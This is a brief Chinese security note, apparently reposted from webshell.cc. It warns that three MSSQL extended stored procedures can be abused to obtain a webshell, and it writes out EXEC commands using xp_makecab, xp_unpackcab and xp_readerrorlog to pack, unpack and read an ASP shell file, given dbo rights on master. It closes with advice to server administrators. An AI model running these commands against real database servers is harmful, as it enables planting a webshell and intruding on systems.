注意3个MSSQL扩展,可被用来获取WEBSHELL - 网站安全

EXEC [master].[dbo].[xp_makecab] ‘c:\test.rar’,'default’,1,’d:\cmd. asp ’

打包

EXEC [master].[dbo].[xp_unpackcab] ‘C:\test.rar’,'c:’,1, ‘n.asp’

解包，

可以用于得到webshell EXEC [master].[dbo].[xp_readerrorlog] 1,’d:\cmd.asp’

读文本代码

要求权限： master的dbo权限

服务器管理要注意这几个扩展了

 

from：webshell.cc

查看更多关于注意3个MSSQL扩展,可被用来获取WEBSHELL - 网站安全的详细内容...